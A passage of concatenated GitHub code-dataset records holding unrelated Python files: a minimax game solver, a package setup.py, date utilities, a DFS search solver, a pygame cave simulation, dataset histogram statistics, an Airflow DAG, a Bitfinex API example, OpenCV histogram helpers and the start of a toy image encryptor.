root = Box(MINIMUM_INT, (None, None), None) \r\n\r\n root.alpha = MINIMUM_INT \r\n root.beta = MAXIMUM_INT \r\n self.maximumAB(self.state, root,cutoff,logfile,player)\r\n if root.nextMove:\r\n move = root.nextMove\r\n self.moveToCell(self.state, move.pos[0], move.pos[1], move.piece)\r\n\r\n def nextMove(self, algorithm):\r\n\r\n if algorithm == MINIMAX:\r\n with open(\"traverse_log.txt\", 'w') as logfile:\r\n self.miniMax(logfile)\r\n elif algorithm == GREEDY:\r\n self.greedyBFS(self.myPiece)\r\n elif algorithm == ALPHABETA:\r\n with open(\"traverse_log.txt\", 'w') as logfile:\r\n self.alphaBetaPruning(logfile)\r\n else:\r\n self.simulate()\r\n\r\n def maximum(self, state, parent, pMaxDepth, pPlayer, pLogFile):\r\n cells = self.findEmptyCells(state)\r\n if parent.depth == pMaxDepth or not cells:\r\n parent.score = self.evaluateState(state,pPlayer)\r\n return parent.score\r\n if pLogFile:\r\n pLogFile.write(\"\\n\" + TraverseLog(parent))\r\n for x, (i, j) in enumerate(cells):\r\n undoMoves = self.moveToCell(state, i, j, pPlayer) \r\n child = Box(MAXIMUM_INT, (i, j), pPlayer)\r\n parent.AddToBox(child)\r\n child.score = self.minimum(state, child,pMaxDepth,SwapPlayer(pPlayer), pLogFile) \r\n if child.score > parent.score:\r\n parent.score = child.score\r\n parent.nextMove = child\r\n if x < len(cells) - 1: \r\n if pLogFile:\r\n pLogFile.write(\"\\n\" + TraverseLog(parent))\r\n for a in undoMoves:\r\n state[a[0]][a[1]] = a[2]\r\n if pLogFile:\r\n pLogFile.write(\"\\n\" + TraverseLog(parent))\r\n return parent.score\r\n\r\n def minimum(self, state, parent, pMaxDepth, pPlayer, pLogFile):\r\n cells = self.findEmptyCells(state)\r\n if parent.depth == pMaxDepth or not cells:\r\n parent.score = self.evaluateState(state, SwapPlayer(pPlayer))\r\n return parent.score\r\n if pLogFile:\r\n pLogFile.write(\"\\n\" + TraverseLog(parent))\r\n for x, (i, j) in enumerate(cells):\r\n undoMoves = self.moveToCell(state, i, j, pPlayer) \r\n child = Box(MINIMUM_INT, (i, j), pPlayer)\r\n parent.AddToBox(child)\r\n self.maximum(state, child,pMaxDepth,SwapPlayer(pPlayer),pLogFile) \r\n if child.score < parent.score:\r\n parent.score = child.score\r\n parent.nextMove = child\r\n if x < len(cells) -1: \r\n if pLogFile:\r\n pLogFile.write(\"\\n\" + TraverseLog(parent))\r\n for a in undoMoves:\r\n state[a[0]][a[1]] = a[2]\r\n if pLogFile:\r\n pLogFile.write(\"\\n\" + TraverseLog(parent))\r\n return parent.score\r\n\r\n def maximumAB(self, state, parent,pMaxDepth,logfile,maxPlayer):\r\n cells = self.findEmptyCells(state)\r\n if not cells or parent.depth == maxdepth:\r\n parent.score = self.evaluateState(state,pPlayer)\r\n return parent.score\r\n if logfile:\r\n logfile.write(\"\\n\" + TraverseLog(parent, True))\r\n for x, (i, j) in enumerate(cells):\r\n undoMoves = self.moveToCell(state, i, j, maxPlayer) \r\n child = Box(MAXIMUM_INT, (i, j), maxPlayer) \r\n\r\n child.alpha = parent.alpha \r\n child.beta = parent.beta\r\n parent.AddToBox(child) \r\n self.minimumAB(state, child,pMaxDepth,logfile,SwapPlayer(maxPlayer)) \r\n for a in undoMoves:\r\n state[a[0]][a[1]] = a[2]\r\n\r\n if child.score > parent.score:\r\n parent.score = child.score\r\n parent.nextMove = child\r\n if child.score >= parent.beta: \r\n break\r\n if child.score > parent.alpha:\r\n parent.alpha = child.score\r\n\r\n if x < len(cells) - 1: \r\n if logfile:\r\n logfile.write(\"\\n\" + TraverseLog(parent, True))\r\n if logfile:\r\n logfile.write(\"\\n\" + TraverseLog(parent, True))\r\n return parent.score\r\n\r\n def minimumAB(self, state, parent,maxdepth,logfile,pPlayer):\r\n cells = self.findEmptyCells(state)\r\n if not cells or parent.depth == maxdepth:\r\n parent.score = self.evaluateState(state,pPlayer)\r\n return parent.score\r\n if logfile:\r\n logfile.write(\"\\n\" + TraverseLog(parent, True))\r\n for x, (i, j) in enumerate(cells):\r\n undoMoves = self.moveToCell(state, i, j, pPlayer)\r\n child = Box(MINIMUM_INT, (i, j), pPlayer)\r\n child.alpha = parent.alpha\r\n child.beta = parent.beta\r\n parent.AddToBox(child)\r\n self.maximumAB(state, child,maxdepth,logfile,SwapPlayer(pPlayer)) \r\n for a in undoMoves:\r\n state[a[0]][a[1]] = a[2]\r\n if child.score < parent.score:\r\n parent.score = child.score\r\n parent.nextMove = child\r\n if child.score <= parent.alpha:\r\n break\r\n if child.score < parent.beta:\r\n parent.beta = child.score\r\n\r\n if x < len(cells) -1: \r\n if logfile:\r\n logfile.write(\"\\n\" + TraverseLog(parent, True))\r\n if logfile:\r\n logfile.write(\"\\n\" + TraverseLog(parent, True))\r\n return parent.score\r\n\r\nclass Box(object):\r\n\r\n def __init__(self, score, pos, piece, depth=0, parent=None):\r\n self.parent = parent\r\n self.children = None\r\n self.score = score\r\n self.pos = pos\r\n self.piece = piece\r\n self.depth = depth\r\n self.nextMove = None\r\n\r\n def AddToBox(self, node):\r\n node.parent = self\r\n node.depth = self.depth + 1\r\n if self.children == None:\r\n self.children = []\r\n self.children.append(node)\r\n\r\nproblem = AIHW1(sys.argv[1])\r\nproblem.nextMove(problem.strategy)\r\nproblem.printState(problem.state, \"next_state.txt\")","repo_name":"nithincshekar/Artificial-Intelligence","sub_path":"HW1/hw1.py","file_name":"hw1.py","file_ext":"py","file_size_in_byte":14006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38233888879","text":"from setuptools import setup, find_packages\n\nwith open('README.rst') as readme_file:\n readme = readme_file.read()\n\nrequirements = [\n 'girder>=3.0.0a1',\n 'python-openid2',\n 'requests[security]'\n]\n\nsetup(\n author=\"Zach Mullen\",\n author_email='zach.mullen@kitware.com',\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'License :: OSI Approved :: Apache Software License',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7'\n ],\n description='Allows users to log into Girder using OpenID 1.0 providers',\n install_requires=requirements,\n license='Apache Software License 2.0',\n long_description=readme,\n long_description_content_type='text/x-rst',\n include_package_data=True,\n keywords='girder-plugin, openid',\n name='girder-openid',\n packages=find_packages(exclude=['test', 'test.*']),\n url='https://github.com/girder/openid',\n version='0.1.0',\n zip_safe=False,\n entry_points={\n 'girder.plugin': [\n 'openid = girder_openid:GirderPlugin'\n ]\n }\n)\n","repo_name":"girder/openid","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10201224031","text":"import regex\nimport pytz\nimport dateutil\nimport datetime\nimport pep8\n\n\ndef convert_datetime_to_utc(date_input):\n \"\"\"Takes a string like 03/03/2018 information and localizes it with\n pytz to 'Europe/Paris' and returns utc.\"\"\"\n parsed_datetime = datetime.datetime.strptime(date_input, '%m/%d/%Y')\n local_date = pytz.timezone('Europe/Paris').localize(parsed_datetime)\n utc_date = local_date.astimezone(pytz.utc)\n return utc_date\n\n\ndef convert_utcdate_to_datestring(utc_date):\n \"\"\"This function take a pytz utc date like:\n '2000-03-02 23:00:00+00:00' and converts it to a '03/03/2000'\n formated string. This is returned.\"\"\"\n # Parse string to datetime\n datetime = dateutil.parser.parse(utc_date)\n # Convert date from UTC to local\n astimezone_date = datetime.astimezone(pytz.timezone('Europe/Paris'))\n # Convert datetime to a date string\n return astimezone_date.strftime(\"%m/%d/%Y\")\n\n\ndef convert_minutes_time_format(input):\n \"\"\"This function converts input argument minutes to hours and minutes to\n a printable format. This information is returned a string like this:\n xx Hours xx Minutes (=> xxx Minutes)\"\"\"\n if isinstance(input, int):\n pass\n else:\n raise ValueError(\"The argument could not be converted to an int.\")\n hours, minutes = input // 60, input % 60\n output = str(hours) + ' Hours ' + str(minutes) + ' Minutes'\n output += ' (=> ' + str(input) + ' Minutes)'\n return output\n\n\nchecker = pep8.Checker('utility.py')\nchecker.check_all()\n","repo_name":"gitRepo2/Project_04_WorkLog","sub_path":"utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2350997031","text":"from problem.problem import Problem\nfrom .solver import Solver\nimport math\n\n\nclass Dfs(Solver):\n def __init__(self, problem: Problem, tree_search=False, is_iterative=False, depth_limit=math.inf):\n super().__init__(problem, tree_search)\n self.depth_limit = depth_limit\n self.is_iterative = is_iterative\n self.frontier = [problem.init_node]\n self.explored = set()\n self.mem_count = 0\n\n def solve(self):\n if self.is_iterative:\n print('running problem on iterative deepening dfs using {method}'.format(method=self._method()))\n depth = 0\n found_solution = None\n while not found_solution:\n self.frontier = [self.problem.init_node]\n self.explored = set()\n found_solution = self.solve_in_depth(depth)\n depth += 1\n print('solution has found in depth: {depth} using {method}'.format(\n depth=depth - 1,\n method=self._method()\n ))\n return found_solution\n else:\n if self.depth_limit == math.inf:\n print('running problem on dfs using {method}'.format(method=self._method()))\n else:\n print('running problem on limited depth dfs using {method}'.format(method=self._method()))\n return self.solve_in_depth(self.depth_limit)\n\n def solve_in_depth(self, depth):\n while self.frontier:\n node = self.next_node()\n if not self.tree_search:\n self.explored.add(node)\n\n for action in self.problem.actions(node):\n new_node = self.problem.result(action, node)\n new_node.depth = node.depth + 1\n if new_node.depth > depth:\n return None\n else:\n if self.problem.is_goal(new_node):\n path = self.problem.solution(new_node)\n return path\n self.add_to_frontier(new_node)\n self.mem_count = max(self.mem_count, len(self.frontier) + len(self.explored))\n\n def add_to_frontier(self, node):\n if self.tree_search:\n self.frontier.append(node)\n else:\n if node in self.frontier:\n return\n elif node in self.explored:\n return\n else:\n self.frontier.append(node)\n\n def next_node(self):\n return self.frontier.pop()\n","repo_name":"siavashkavousi/AI-course","sub_path":"project1/solver/dfs.py","file_name":"dfs.py","file_ext":"py","file_size_in_byte":2496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37929776246","text":"import pygame\nimport os\nimport time\nfrom math import sqrt, atan2, sin, cos, degrees\nfrom random import randint\n\nos.environ['SDL_VIDEO_WINDOW_POS'] = \"%d,%d\" % (100,100)\n\npygame.init()\n\n#Screen\nxSize, ySize = 1200, 800\nscreen = pygame.display.set_mode((xSize, ySize + 20))\nbase = pygame.Surface((xSize, ySize))\nworld = pygame.Surface((xSize, ySize))\nui = pygame.Surface((xSize, 20))\npygame.display.set_caption(\"Cave\")\n\npixelSize = 10\n\ncaveArray = []\n\ncaveX = int(xSize/pixelSize)\ncaveY = int(ySize/pixelSize)\n\nfor y in range(caveY):\n\trow = []\n\tfor x in range(caveX):\n\t\trand = randint(0,120)\n\t\tvalue = (rand > 55) + (rand > 80)\n\t\tif x == 0 or y == 0 or x == caveX - 1 or y == caveY - 1: value = 0\n\t\trow.append(value)\n\tcaveArray.append(row)\n\nmx, my = pygame.mouse.get_pos()\nmouseHold = False\n\ndef get(x, y):\n\tif x < 0 or x >= len(caveArray[0]) or y < 0 or y >= len(caveArray): return 0\n\treturn caveArray[y][x]\n\ndef getNeighbours(x, y):\n\tcount = get(x - 1, y - 1) == 1\n\tcount += get(x\t , y - 1) == 1\n\tcount += get(x + 1, y - 1) == 1\n\tcount += get(x - 1, y\t ) == 1\n\tcount += get(x + 1, y\t ) == 1\n\tcount += get(x - 1, y + 1) == 1\n\tcount += get(x , y + 1) == 1\n\tcount += get(x + 1, y + 1) == 1\n\treturn count\n\ndef getWater(x, y):\n\tcount = get(x - 1, y - 1) == 2\n\tcount += get(x\t , y - 1) == 2\n\tcount += get(x + 1, y - 1) == 2\n\tcount += get(x - 1, y\t ) == 2\n\tcount += get(x + 1, y\t ) == 2\n\tcount += get(x - 1, y + 1) == 2\n\tcount += get(x , y + 1) == 2\n\tcount += get(x + 1, y + 1) == 2\n\treturn count\n\ndef smooth():\n\n\tfor y in range(len(caveArray)):\n\t\tfor x in range(len(caveArray[0])):\n\t\t\tvalue = caveArray[y][x]\n\t\t\tcolor = [230*value, 230*value, 230*value] if value < 2 else [20,120,250]\n\t\t\tpygame.draw.rect(base, color, (x*pixelSize, y*pixelSize, pixelSize, pixelSize))\n\n\t\t\tneighbours = getNeighbours(x,y) + getWater(x,y)\n\n\t\t\tif getWater(x,y) > 4:\n\t\t\t\tcaveArray[y][x] = 2\n\t\t\telif value != 2 or getWater(x,y) < 4:\n\t\t\t\tif neighbours > 4:# and (value != 2) or (value == 2 and getWater(x,y) < 2):\n\t\t\t\t\tcaveArray[y][x] = 1\n\t\t\t\telif neighbours < 4 or (value == 2 and getWater(x,y) < 2):\n\t\t\t\t\tcaveArray[y][x] = 0\n\n\t\t\tif caveArray[y][x] != value:\n\t\t\t\tscreen.blit(base,(0,0))\n\t\t\t\tpygame.display.flip()\n\nfor i in range(50):\n\tsmooth()\n\tscreen.fill([0,0,0])\n\tbase.set_alpha(255*(30 - max(0, i - 20))/30)\n\tscreen.blit(base, (0,0))\n\tpygame.display.flip()\n\nman = [0,0]\nlights = []\nlightCount = 10\n\nbear = [0,0]\n\ntorchRadius = 18\n\ndef place():\n\tbeing = [0,0]\n\twhile get(being[0], being[1]) == 0:\n\t\tbeing = [randint(1,caveX - 2), randint(1,caveY - 2)]\n\treturn being\n\nman = place()\nbear = place()\n\nwetness = 0\n\nfootprints = []\n\n#----------------------Main Loop----------------------#\n\nlightOn = True\n\nprotoLight = None\n\nclock = pygame.time.Clock()\nframeCount = 0\ndone = False\nwhile not done:\n\tframeCount += 1\n\tkeys = pygame.key.get_pressed()\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT:\n\t\t\tdone = True\n\t\tif event.type == pygame.MOUSEBUTTONDOWN:\n\t\t\tmouseHold = True\n\n\t\tif event.type == pygame.MOUSEBUTTONUP:\n\t\t\tmouseHold = False\n\n\t\tif event.type == pygame.KEYUP:\n\t\t\tif keys[pygame.K_l]:\n\t\t\t\tlightOn = not lightOn\n\n\t\t\tif keys[pygame.K_SPACE]:\n\t\t\t\tif man not in lights and lightCount > 0:\n\t\t\t\t\tprotoLight = man.copy()\n\t\t\t\t\tlights.append(protoLight)\n\t\t\t\t\tlightCount -= 1\n\n\twetness = max(0, wetness - 0.004)\n\n\tnewFootprints = []\n\tfor (footprint, alpha, angle, pos) in footprints:\n\n\t\tfootprint = pygame.Surface((pixelSize, pixelSize), pygame.SRCALPHA, 32)\n\n\t\tleft = pygame.Surface((3, 2))\n\t\tright = pygame.Surface((3, 2))\n\n\t\tleft.fill([50, 40, 30])\n\t\tright.fill([50, 40, 30])\n\n\t\talpha -= 255*0.007\n\t\tleft.set_alpha(alpha)\n\t\tright.set_alpha(alpha)\n\n\t\tfootprint.blit(left, (pixelSize*0.75, pixelSize*0.3))\n\t\tfootprint.blit(right, (pixelSize*0.25, pixelSize*0.7))\n\n\t\tfootprint = pygame.transform.rotate(footprint, -degrees(angle))\n\n\t\tif alpha > 0:\n\t\t\tnewFootprints.append((footprint, alpha, angle, pos))\n\n\tfootprints = newFootprints\n\n\tif frameCount % max(1, int((5 + 2*(get(man[0], man[1]) == 2))*clock.get_fps()/60)) == 0:\n\t\tprevMan = man.copy()\n\t\tif keys[pygame.K_w]:\n\t\t\tman[1] -= 1\n\t\tif keys[pygame.K_a]:\n\t\t\tman[0] -= 1\n\t\tif keys[pygame.K_s]:\n\t\t\tman[1] += 1\n\t\tif keys[pygame.K_d]:\n\t\t\tman[0] += 1\n\n\t\tangle = atan2(man[1] - prevMan[1], man[0] - prevMan[0])\n\n\t\tif get(man[0], man[1]) == 2:\n\t\t\twetness = 1\n\n\t\tif get(prevMan[0], prevMan[1]) == 1 and wetness > 0 and get(man[0], man[1]) != 2:\n\t\t\tfootprint = pygame.Surface((pixelSize, pixelSize), pygame.SRCALPHA, 32)\n\t\t\tfootprint.fill([0,0,0,0])\n\n\t\t\tlFoot = pygame.Surface((3, 2))\n\t\t\trFoot = pygame.Surface((3, 2))\n\n\t\t\tlFoot.fill([50, 40, 30])\n\t\t\trFoot.fill([50, 40, 30])\n\n\t\t\tlFoot.set_alpha(255*wetness)\n\t\t\trFoot.set_alpha(255*wetness)\n\n\t\t\tfootprint.blit(lFoot, (pixelSize*0.75, pixelSize*0.3))\n\t\t\tfootprint.blit(rFoot, (pixelSize*0.25, pixelSize*0.7))\n\n\t\t\tfootprint = pygame.transform.rotate(footprint, -degrees(angle))\n\n\t\t\tif prevMan != man:\n\t\t\t\tfootprints.append((footprint, 255*wetness, angle, prevMan))\n\n\t\tif get(man[0], man[1]) == 0:\n\t\t\tif keys[pygame.K_RETURN] and randint(0,10) == 0:\n\t\t\t\tcaveArray[man[1]][man[0]] = 1\n\t\t\tman = prevMan\n\n\t\tif man != prevMan:\n\t\t\tprotoLight = None\n\n\tworld.set_alpha(min(255, frameCount/0.1))\n\tworld.fill([0,0,0])\n\tui.fill([0,0,0])\n\n\tintensities = {}\n\tfor (n, light) in enumerate([man] + lights):\n\n\t\tif n == 0:\n\t\t\tlightRadius = 15 if lightOn else 50\n\t\telse:\n\t\t\tlightRadius = torchRadius\n\n\t\tflicker = 1\n\t\tif randint(0,10) == 0: flicker = randint(70,100)/100\n\n\t\tblocks = {}\n\t\tfor y in range(light[1] - lightRadius, light[1] + lightRadius):\n\t\t\tforStep = 1 if y == light[1] - lightRadius or y == light[1] + lightRadius - 1 else 2*lightRadius - 1\n\t\t\tfor x in range(light[0] - lightRadius, light[0] + lightRadius, forStep):\n\t\t\t\tdist = sqrt((y - light[1])**2 + (x - light[0])**2)\n\t\t\t\td = int(dist)\n\n\t\t\t\tblocked = False\n\t\t\t\txStep = (x - light[0])/d\n\t\t\t\tyStep = (y - light[1])/d\n\t\t\t\tfor i in range(d):\n\t\t\t\t\tposx, posy = int(light[0] + xStep*i), int(light[1] + yStep*i)\n\t\t\t\t\tif get(posx, posy) == 0 or [posx, posy] in (bear):\n\t\t\t\t\t\tblocked = True\n\t\t\t\t\tblocks[(posx, posy)] = blocked\n\n\n\n\t\tfor y in range(light[1] - lightRadius, light[1] + lightRadius):\n\t\t\tfor x in range(light[0] - lightRadius, light[0] + lightRadius):\n\t\t\t\tif [x,y] != light:\n\t\t\t\t\tdist = sqrt((y - light[1])**2 + (x - light[0])**2)\n\n\t\t\t\t\tfade = 0.8#2.5\n\t\t\t\t\tintensity = 1/(1 + pow(2, fade*(abs(dist) + 5/fade - lightRadius)))\n\t\t\t\t\tintensity *= flicker\n\n\t\t\t\t\tblocked = blocks.get((x,y), True)\n\n\t\t\t\t\texisting = intensities.get((x, y), 0)\n\n\t\t\t\t\tif get(x, y) == 0:\n\t\t\t\t\t\tintensity *= .2\n\t\t\t\t\t\tif existing + intensity > 0.3:\n\t\t\t\t\t\t\tintensity = 0.3 - existing\n\n\t\t\t\t\telif blocked:\n\t\t\t\t\t\tintensity *= .5\n\t\t\t\t\t\tmaxIntensity = 0.4\n\t\t\t\t\t\tintensity = max(0, min(maxIntensity - existing, intensity))\n\n\t\t\t\t\tnewIntensity = min(1, existing + intensity)\n\n\t\t\t\t\tif newIntensity > 0:\n\t\t\t\t\t\tintensities[(x, y)] = newIntensity\n\n\tfor pos in intensities:\n\t\tif pos[1] < caveY:\n\t\t\tintensity = intensities.get(pos)\n\t\t\tcolor = [230*intensity, 200*intensity, 170*intensity]\n\t\t\tif get(pos[0], pos[1]) == 2: color = [80*intensity, 96*intensity, 200*intensity]\n\t\t\tpygame.draw.rect(world, color, (pos[0]*pixelSize, pos[1]*pixelSize, pixelSize, pixelSize))\n\n\tfor (n,pos) in enumerate(lights):\n\t\tif pos == man and pos != protoLight:\n\t\t\tdel lights[n]\n\t\t\tlightCount += 1\n\t\t\tbreak\n\n\tfor (footprint, alpha, angle, pos) in footprints:\n\t\tworld.blit(footprint, (pos[0]*pixelSize, pos[1]*pixelSize))\n\t\t\n\tfor pos in lights:\n\t\tpygame.draw.rect(world, [255, 250, 150], (pos[0]*pixelSize, pos[1]*pixelSize, pixelSize, pixelSize))\n\n\tpygame.draw.rect(world, [20, 50, 100], (man[0]*pixelSize + 2, man[1]*pixelSize + 2, pixelSize - 4, pixelSize - 4))\n\n\tpygame.draw.rect(world, [89, 69, 46], ((bear[0] - 1)*pixelSize + 5, bear[1]*pixelSize, pixelSize - 5, pixelSize))\n\tpygame.draw.rect(world, [89, 69, 46], (bear[0]*pixelSize, bear[1]*pixelSize, pixelSize, pixelSize))\n\tpygame.draw.rect(world, [89, 69, 46], ((bear[0] + 1)*pixelSize + 2, bear[1]*pixelSize + 2, pixelSize - 4, pixelSize - 4))\n\n\tpygame.draw.line(ui, [255,255,255], (10, 0), (xSize - 10, 0))\n\n\tmyfont = pygame.font.SysFont(\"monospace\", 15)\n\tlabel = myfont.render(\"Lights: {0}\".format(lightCount), 1, (255,255,255))\n\tui.blit(label, (10, 3))\n\n\tlabel = myfont.render(\"{0}\".format(int(clock.get_fps())), 1, (255,255,255))\n\tui.blit(label, (xSize - 20, 3))\n\n\tlabel = myfont.render(\"Alpha: {0}\".format(world.get_alpha()), 1, (255,255,255))\n\tui.blit(label, (200, 3))\n\n\tscreen.blit(world, (0,0))\n\tscreen.blit(ui, (0,ySize))\n\n\tclock.tick(60)\n\tpygame.display.flip()\n\npygame.quit()","repo_name":"mahclark/python-projects","sub_path":"Cave_Generation/caveWithWater.py","file_name":"caveWithWater.py","file_ext":"py","file_size_in_byte":8517,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"3773286045","text":"#File: FP_P1.py\r\n#Author: Rilee Ann Rimke\r\n#Date: Nov 6, 2021\r\n\r\n#Program that draws histograms and computes descriptive statistics for\r\n#the columns of data in the breast_cancer_wisconsin dataset \r\n\r\n#referenced: A11_Q1, A10_Q2 (Course Assignments)\r\n \r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\ndef make_graphs(df, c, col):\r\n\r\n fig = plt.figure()\r\n sp = fig.add_subplot(1,1,1)\r\n sp.set_title(\"Histogram of \" + col)\r\n sp.set_xlabel(\"Value of the attribute\")\r\n sp.set_ylabel(\"Number of data points\")\r\n sp.hist(df, bins=10, color = c, edgecolor = 'black', linewidth = 1.2, alpha = 0.5)\r\n plt.xticks(np.arange(2, 12, 2)) #to get the ticks we want for the x-axis\r\n \r\n plt.draw()\r\n \r\ndef get_stats(df, m):\r\n \r\n #claculate/get mean, median, variance, standard deviation\r\n avg = df.sum() / m\r\n median = df.median()\r\n var_df = ((df - avg) **2).sum() / (m-1)\r\n stan_dev = var_df ** (1/2)\r\n \r\n #print the results\r\n print(\"Mean: \", round(avg, 1))\r\n print(\"Median: \", round(int(median), 0))\r\n print(\"Variance: \", round(var_df, 1))\r\n print(\"Standard Deviation: \", round(stan_dev, 1))\r\n \r\n\r\ndef main():\r\n \r\n #import data from .csv to a Pandas DataFrame, replace '?' with NaN\r\n df = pd.read_csv('breast_cancer_wisconsin-2.csv', na_values = ['?'])\r\n #get number of rows and cols\r\n m, n = df.shape\r\n #use the mean to impute (replace) the missing values\r\n df[\"a7\"] = df[\"a7\"].fillna(df[\"a7\"].mean()) #.round(decimals = 1) \r\n \r\n #plot the data using a histogram\r\n make_graphs(df.loc[:, \"a2\"], c = \"slateblue\", col = \"A2\")\r\n make_graphs(df.loc[:, \"a3\"], c = \"teal\", col = \"A3\")\r\n make_graphs(df.loc[:, \"a4\"], c = \"burlywood\", col = \"A4\")\r\n make_graphs(df.loc[:, \"a5\"], c = \"mediumseagreen\", col = \"A5\")\r\n make_graphs(df.loc[:, \"a6\"], c = \"coral\", col = \"A6\")\r\n make_graphs(df.loc[:, \"a7\"], c = \"grey\", col = \"A7\")\r\n make_graphs(df.loc[:, \"a8\"], c = \"plum\", col = \"A8\")\r\n make_graphs(df.loc[:, \"a9\"], c = \"darkorchid\", col = \"A9\")\r\n make_graphs(df.loc[:, \"a10\"], c = \"olive\", col = \"A10\")\r\n \r\n \r\n #calculate the descriptive statistics of the dataset\r\n print(\"\\nAttribute 2 -----------\")\r\n get_stats(df.loc[:, \"a2\"], m)\r\n \r\n print(\"\\nAttribute 3 -----------\")\r\n get_stats(df.loc[:, \"a3\"], m)\r\n \r\n print(\"\\nAttribute 4 -----------\")\r\n get_stats(df.loc[:, \"a4\"], m)\r\n \r\n print(\"\\nAttribute 5 -----------\")\r\n get_stats(df.loc[:, \"a5\"], m)\r\n \r\n print(\"\\nAttribute 6 -----------\")\r\n get_stats(df.loc[:, \"a6\"], m)\r\n \r\n print(\"\\nAttribute 7 -----------\")\r\n get_stats(df.loc[:, \"a7\"], m)\r\n \r\n print(\"\\nAttribute 8 -----------\")\r\n get_stats(df.loc[:, \"a8\"], m)\r\n \r\n print(\"\\nAttribute 9 -----------\")\r\n get_stats(df.loc[:, \"a9\"], m)\r\n \r\n print(\"\\nAttribute 10 -----------\")\r\n get_stats(df.loc[:, \"a10\"], m)\r\n \r\n \r\nmain()\r\n","repo_name":"rarimke/Python-Course-Final-Project---FA21","sub_path":"FP_P1.py","file_name":"FP_P1.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71206388353","text":"\"\"\"This DAG demonstrates the PythonSensor.\"\"\"\nfrom datetime import datetime\n\nimport airflow\nfrom airflow import DAG\nfrom airflow.contrib.sensors.python_sensor import PythonSensor\nfrom airflow.operators.bash_operator import BashOperator\n\ndefault_args = {\"owner\": \"godatadriven\", \"start_date\": airflow.utils.dates.days_ago(14)}\n\ndag = DAG(\n dag_id=\"b_pythonsensor\",\n default_args=default_args,\n schedule_interval=\"0 0 * * *\",\n description=\"Example PythonSensor\",\n)\n\n\ndef _time_for_coffee():\n \"\"\"I drink coffee between 6 and 12\"\"\"\n return 6 <= datetime.now().hour < 12\n\n\ntime_for_coffee = PythonSensor(\n task_id=\"time_for_coffee\",\n python_callable=_time_for_coffee,\n mode=\"reschedule\",\n dag=dag,\n)\n\nmake_coffee = BashOperator(\n task_id=\"make_coffee\", bash_command=\"echo 'Time for coffee!'\", dag=dag\n)\n\ntime_for_coffee >> make_coffee\n","repo_name":"BasPH/airflow-rocket","sub_path":"dags/b_pythonsensor.py","file_name":"b_pythonsensor.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"61"} +{"seq_id":"12868808256","text":"# python -c \"import examples.rest.claim_position\"\n\nimport os\n\nfrom bfxapi.client import Client, REST_HOST\n\nbfx = Client(\n REST_HOST=REST_HOST,\n API_KEY=os.getenv(\"BFX_API_KEY\"),\n API_SECRET=os.getenv(\"BFX_API_SECRET\")\n)\n\nopen_margin_positions = bfx.rest.auth.get_positions()\n\n# claim all positions\nfor position in open_margin_positions:\n print(f\"Position {position}\")\n claim = bfx.rest.auth.claim_position(position.position_id, amount=0.000001)\n print(f\"PositionClaim {claim.notify_info}\")","repo_name":"Davi0kProgramsThings/bitfinex-api-py","sub_path":"examples/rest/claim_position.py","file_name":"claim_position.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16189863366","text":"import matplotlib as plt\nimport numpy as np\nimport cv2\n\ndef graphical_interpetation():\n img = cv2.imread(\"put.png\")\n cv2.imshow(\"image\", img)\n hist = cv2.calcHist([img], [0], None, [256], [0,256])\n plt.plot(hist)\n plt.xlim(0,255)\n plt.show()\n key = cv2.waitKey(0)\n\ndef histogram_alignment():\n img = cv2.imread(\"put.png\")\n cv2.imshow('img', img)\n\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n equalized = cv2.equalizeHist(img)\n cv2.imshow('equalized img', equalized)\n hist = cv2.calcHist([equalized], [0], None, [256], [0,256])\n plt.plot(hist)\n plt.ylim(0,256)\n plt.show()\n key = cv2.waitKey(0)\n\ndef histogram_rgb():\n img = cv2.imread(\"2.jpeg\",)\n cv2.imshow(\"image\", img)\n color = ('r', 'g', 'b')\n for channel, c in enumerate(color):\n hist = cv2.calcHist([img], [channel], None, [256], [0, 256])\n plt.subplot(1,3, channel+1)\n plt.title('Channel {}, color {} '.format(channel, c))\n plt.plot(hist, color = c)\n plt.xlim([0, 256])\n\n plt.show()\n key = cv2.waitKey(0)\n","repo_name":"AxolotlOfConflagration/image_processing_and_vision_systems","sub_path":"histogram.py","file_name":"histogram.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30928693477","text":"import os\nimport random\nimport numpy as np\nfrom PIL import Image\nimport progressbar\nimport torchvision.transforms as transforms\nimport torch\nimport numpy as np\nfrom torch.utils.data import DataLoader, Dataset\nimport torchvision.datasets as datasets\n\n\nclass Encryptor:\n # key_size: the width and height of the key matrix\n def __init__(self, key_size, keyFile=None):\n self.key_size = key_size\n if keyFile is None:\n self.generate_key()\n else:\n self.load_key(keyFile)\n\n # generate a random key matrix\n def generate_key(self):\n self.key = np.zeros((3, self.key_size**2, self.key_size**2))\n # initialize random seed from time\n random.seed(os.urandom(10))\n for k in range(3):\n for i in range(self.key_size**2):\n for j in range(self.key_size**2):\n self.key[k][i][j] = random.random() * 2 - 1\n\n # save the key matrix to a file\n def save_key(self, keyFile='key.npy'):\n np.save(keyFile, self.key)\n\n # load the key matrix from a file\n def load_key(self, keyFile='key.npy'):\n 